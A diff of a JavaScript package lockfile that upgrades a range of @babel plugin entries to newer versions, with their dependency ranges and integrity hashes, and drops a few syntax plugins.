- "@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw=="],
+ "@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
- "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug=="],
+ "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
- "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", "@babel/plugin-transform-optional-chaining": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g=="],
+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg=="],
+ "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
"@babel/plugin-proposal-private-property-in-object": ["@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2", "", { "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w=="],
@@ -729,11 +751,7 @@
"@babel/plugin-syntax-class-static-block": ["@babel/plugin-syntax-class-static-block@7.14.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw=="],
- "@babel/plugin-syntax-dynamic-import": ["@babel/plugin-syntax-dynamic-import@7.8.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.8.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ=="],
-
- "@babel/plugin-syntax-export-namespace-from": ["@babel/plugin-syntax-export-namespace-from@7.8.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q=="],
-
- "@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.26.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg=="],
+ "@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
"@babel/plugin-syntax-import-attributes": ["@babel/plugin-syntax-import-attributes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww=="],
@@ -763,131 +781,131 @@
"@babel/plugin-syntax-unicode-sets-regex": ["@babel/plugin-syntax-unicode-sets-regex@7.18.6", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.18.6", "@babel/helper-plugin-utils": "^7.18.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg=="],
- "@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg=="],
+ "@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
- "@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.26.8", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-remap-async-to-generator": "^7.25.9", "@babel/traverse": "^7.26.8" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-He9Ej2X7tNf2zdKMAGOsmg2MrFc+hfoAhd3po4cWfo/NWjzEAKa0oQruj1ROVUdl0e6fb6/kE/G3SSxE0lRJOg=="],
+ "@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
- "@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.25.9", "", { "dependencies": { "@babel/helper-module-imports": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-remap-async-to-generator": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ=="],
+ "@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
- "@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.26.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-chuTSY+hq09+/f5lMj8ZSYgCFpppV2CbYrhNFJ1BFoXpiWPnnAb7R0MqrafCpN8E1+YRrtM1MXZHJdIx8B6rMQ=="],
+ "@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
- "@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1F05O7AYjymAtqbsFETboN1NvBdcnzMerO+zlMyJBEz6WkMdejvGWw9p05iTSjC85RLlBseHHQpYaM4gzJkBGg=="],
+ "@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
- "@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.25.9", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q=="],
+ "@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
- "@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.26.0", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ=="],
+ "@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
- "@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-replace-supers": "^7.25.9", "@babel/traverse": "^7.25.9", "globals": "^11.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg=="],
+ "@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
- "@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/template": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA=="],
+ "@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
- "@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ=="],
+ "@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
- "@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA=="],
+ "@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
- "@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw=="],
+ "@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
- "@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog=="],
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
- "@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg=="],
+ "@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
"@babel/plugin-transform-explicit-resource-management": ["@babel/plugin-transform-explicit-resource-management@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-K8nhUcn3f6iB+P3gwCv/no7OdzOZQcKchW6N389V6PD8NUWKZHzndOd9sPDVbMoBsbmjMqlB4L9fm+fEFNVlwQ=="],
- "@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.26.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-7CAHcQ58z2chuXPWblnn1K6rLDnDWieghSOEmqQsrBenH0P9InCUtOJYD89pvngljmZlJcz3fcmgYsXFNGa1ZQ=="],
+ "@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
- "@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww=="],
+ "@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
- "@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.26.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Hry8AusVm8LW5BVFgiyUReuoGzPUpdHQQqJY5bZnbbf+ngOHWuCuYFKw/BqaaWlvEUrF91HMhDtEaI1hZzNbLg=="],
+ "@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
- "@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.25.9", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA=="],
+ "@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
- "@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw=="],
+ "@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
- "@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ=="],
+ "@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
- "@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q=="],
+ "@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
- "@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA=="],
+ "@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
- "@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw=="],
+ "@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
- "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.26.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.26.0", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ=="],
+ "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
- "@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-validator-identifier": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA=="],
+ "@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
